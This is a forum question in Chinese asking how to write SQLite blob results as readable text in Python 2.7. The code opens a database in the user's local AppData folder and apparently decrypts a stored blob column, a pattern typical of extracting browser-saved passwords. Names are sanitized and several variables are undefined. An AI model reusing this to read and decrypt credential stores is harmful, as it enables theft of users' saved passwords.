我正在使用python 2.7.11和slite3模块
当我尝试使用write将输出存储到sql的txt文件时,它显示的是blob而不是文本?
如何将blob转换为ascii?这只在使用f.write时发生,但如果我在空闲状态下运行,我可以看到ascii值。如何将blob转换为可读文本到我的文件输出?
conn1 = sqlite3.connect(getenv("APPDATA") + "\..\Local\SANITIZED")
cursor3 = conn3.cursor()
cursor1 = conn1.cursor()
cursor = conn.cursor()
cursor.execute('SELECT * FROM SANITIZED')
for result in cursor.fetchall():
SANITIZED(result[2], None, None, None, 0)[1]
if SANITIZED:
print('SANITIZED: ' + SANITIZED)
f.write(str(result))